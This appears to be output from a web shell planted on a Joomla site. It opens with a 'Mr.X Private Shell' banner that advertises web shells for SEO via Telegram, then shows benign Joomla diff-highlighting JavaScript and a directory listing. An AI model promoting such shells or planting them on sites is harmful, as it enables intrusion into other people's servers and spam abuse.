__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
(function () {
'use strict';
/**
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
(function () {
var decodeHtml = function decodeHtml(html) {
var textarea = document.createElement('textarea');
textarea.innerHTML = Joomla.sanitizeHtml(html);
return textarea.value;
};
var compare = function compare(original, changed) {
var display = changed.nextElementSibling;
var diff = window.Diff.diffWords(original.innerHTML, changed.innerHTML);
var fragment = document.createDocumentFragment();
diff.forEach(function (part) {
var color = '';
if (part.added) {
color = '#a6f3a6';
}
if (part.removed) {
color = '#f8cbcb';
} // @todo use the tag MARK here not SPAN
var span = document.createElement('span');
span.style.backgroundColor = color;
span.style.borderRadius = '.2rem';
span.appendChild(document.createTextNode(decodeHtml(part.value)));
fragment.appendChild(span);
});
display.appendChild(fragment);
};
var onBoot = function onBoot() {
var diffs = [].slice.call(document.querySelectorAll('.original'));
diffs.forEach(function (fragment) {
compare(fragment, fragment.nextElementSibling);
}); // Cleanup
document.removeEventListener('DOMContentLoaded', onBoot);
};
document.addEventListener('DOMContentLoaded', onBoot);
})();
})();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin-compare-compare-es5.js | File | 1.53 KB | 0664 |
|
| admin-compare-compare-es5.min.js | File | 725 B | 0664 |
|
| admin-compare-compare-es5.min.js.gz | File | 406 B | 0664 |
|
| admin-compare-compare.js | File | 1.38 KB | 0664 |
|
| admin-compare-compare.min.js | File | 696 B | 0664 |
|
| admin-compare-compare.min.js.gz | File | 391 B | 0664 |
|
| admin-history-modal-es5.js | File | 3.07 KB | 0664 |
|
| admin-history-modal-es5.min.js | File | 1.58 KB | 0664 |
|
| admin-history-modal-es5.min.js.gz | File | 584 B | 0664 |
|
| admin-history-modal.js | File | 2.89 KB | 0664 |
|
| admin-history-modal.min.js | File | 1.56 KB | 0664 |
|
| admin-history-modal.min.js.gz | File | 586 B | 0664 |
|
| admin-history-versions-es5.js | File | 420 B | 0664 |
|
| admin-history-versions-es5.min.js | File | 165 B | 0664 |
|
| admin-history-versions-es5.min.js.gz | File | 153 B | 0664 |
|
| admin-history-versions.js | File | 357 B | 0664 |
|
| admin-history-versions.min.js | File | 133 B | 0664 |
|
| admin-history-versions.min.js.gz | File | 135 B | 0664 |
|
| index.html | File | 31 B | 0664 |
|